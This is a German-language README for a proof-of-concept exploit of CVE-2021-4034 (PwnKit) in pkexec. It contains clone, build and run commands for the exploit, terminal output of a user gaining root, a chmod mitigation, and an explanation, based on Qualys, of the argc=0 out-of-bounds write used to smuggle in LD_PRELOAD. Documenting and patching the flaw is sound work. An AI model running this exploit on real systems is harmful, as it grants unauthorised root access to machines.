
C-basierter Proof-of-Concept-Exploit für CVE-2021-4034 (PwnKit), der lokale Privilegienausweitung durch einen Out-of-Bounds-Schreibzugriff in pkexec ermöglicht. Enthält Build-Anweisungen und eine Erklärung der Sicherheitslücke.
CVE-2021-4034
debian@debian:~/PwnKit-Exploit$ make
cc -Wall exploit.c -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit#
| Befehl | Verwendung |
|---|---|
sudo chmod 0755 pkexec | Behebung CVE 2021-4034 |
git clone https://github.com/luijait/PwnKit-Exploit
cd PwnKit-Exploit
make
./exploit
whoami
| Befehl | Funktion |
|---|---|
make clean | Bereinigt Build, um modifizierten Code zu testen |
Basierend auf blog.qualys.com
Der Beginn der main()-Funktion von pkexec verarbeitet die Befehlszeilenargumente (Zeilen 534-568) und sucht nach dem auszuführenden Programm, falls dessen Pfad nicht absolut ist, in den Verzeichnissen der Umgebungsvariable PATH (Zeilen 610-640):
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
Leider: wenn die Anzahl der Befehlszeilenargumente argc 0 ist – was bedeutet, wenn die Argumentliste argv, die wir an execve() übergeben, leer ist, d.h. {NULL} – dann ist argv[0] NULL. Dies ist der Terminator der Argumentliste. Daher:
Aber was genau wird aus diesem außerhalb der Grenzen liegenden argv[1] gelesen und hineingeschrieben?
Um diese Frage zu beantworten, müssen wir kurz abschweifen. Wenn wir ein neues Programm mit execve() ausführen, kopiert der Kernel unsere Argumente, Umgebungsstrings und Zeiger (argv und envp) an das Ende des Stapels des neuen Programms; zum Beispiel:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
Offensichtlich, da die argv- und envp-Zeiger im Speicher zusammenhängend sind, ist bei argc = 0 der außerhalb der Grenzen liegende argv[1] tatsächlich envp[0], der Zeiger auf unsere erste Umgebungsvariable „value“. Demzufolge:
Also, genauer gesagt:
Wenn unsere PATH-Umgebungsvariable „PATH=name“ ist und das Verzeichnis „name“ existiert (im aktuellen Arbeitsverzeichnis) und eine ausführbare Datei namens „value“ enthält, dann wird ein Zeiger auf den String „name/value“ außerhalb der Grenzen in envp[0] geschrieben;
ODER
Wenn unser PATH „PATH=name=.“ ist und das Verzeichnis „name=.“ existiert und eine ausführbare Datei namens „value“ enthält, dann wird ein Zeiger auf den String „name=./value“ außerhalb der Grenzen in envp[0] geschrieben.
Anders ausgedrückt, dieser Schreibzugriff außerhalb der Grenzen erlaubt es uns, eine „unsichere“ Umgebungsvariable (z.B. LD_PRELOAD) wieder in die Umgebung von pkexec einzuführen. Diese „unsicheren“ Variablen werden normalerweise (von ld.so) vor dem Aufruf der main()-Funktion aus der Umgebung von SUID-Programmen entfernt. Wir werden diese mächtige Grundlage im folgenden Abschnitt ausnutzen.
Letzte-Minute-Anmerkung: polkit unterstützt auch nicht-Linux-Betriebssysteme wie Solaris und *BSD, aber wir haben deren Ausnutzbarkeit nicht untersucht. Allerdings stellen wir fest, dass OpenBSD nicht ausnutzbar ist, da sein Kernel die Ausführung eines Programms mit execve() verweigert, wenn argc 0 ist.